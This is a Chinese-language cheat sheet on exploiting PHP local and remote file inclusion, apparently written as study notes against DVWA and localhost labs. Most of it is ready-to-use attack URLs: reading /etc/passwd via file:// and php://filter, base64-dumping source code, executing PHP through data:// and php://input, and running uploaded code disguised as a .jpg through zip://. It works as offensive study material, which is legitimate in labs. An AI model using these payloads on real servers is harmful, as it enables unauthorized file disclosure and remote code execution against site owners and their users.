文件包含漏洞利用的前提
1.web 應用採用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參數的方式引入;
2.用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問;
在使用文件包含漏洞時,必須要能知道其絕對路徑
方法: 在包含文件處,查看其返回的錯誤的信息
僞協議文件包含
file:// 訪問本地文件系統
http:// 訪問 HTTPs 網址
ftp:// 訪問 ftp URL
Php:// 訪問輸入輸出流
Zlib:// 壓縮流
Data:// 數據
Ssh2:// security shell2
Expect:// 處理交互式的流
Glob:// 查找匹配的文件路徑
僞協議後文件必須是絕對路徑
file
條件:allow_url_fopen: off/on allow_url_include: off/on
Linux :http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd 絕對路徑
Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 絕對路徑
php
php://僞協議,主要爲php://input與php://filter
php://input:將POST輸入流當做PHP代碼執行。其只受 allow_url_include參數的影響,allow_url_fopen開關與此僞協議無關。
php://filter僞協議:不受 allow_url_fopen與allow_url_include參數的影響
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt 相對路徑
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 絕對路徑
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd
此協議主要用於讀取php源代碼時會用到
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64編碼將文件內容輸出
zip
條件:allow_url_fopen: off/on allow_url_include: off/on
1 、現將要執行 php 代碼寫好並且命名爲 a.txt,將 a.txt 進行 zip 壓縮,命名爲 a.zip,如果可以上傳 zip 文件便直接上傳,如若不能可將 a.zip 命名爲 a.jpg 上傳;
2 、將 a.php 直接壓縮成 a.bz2
http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt
phar
條件:allow_url_fopen: off/on allow_url_include: off/on php 版本大於等於php5.3.0
data
allow_url_fopen: on allow_url_include: on
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
input
條件:allow_url_fopen:off/on allow_url_include:on
http://127.0.0.1/LFI.php?file=php://input
用post方式提交這個數據 <?php phpinfo()?>
http
allow_url_fopen與allow_url_include同時開啓。缺一不可
http://localhost/test.php?file=http://www.baidu.com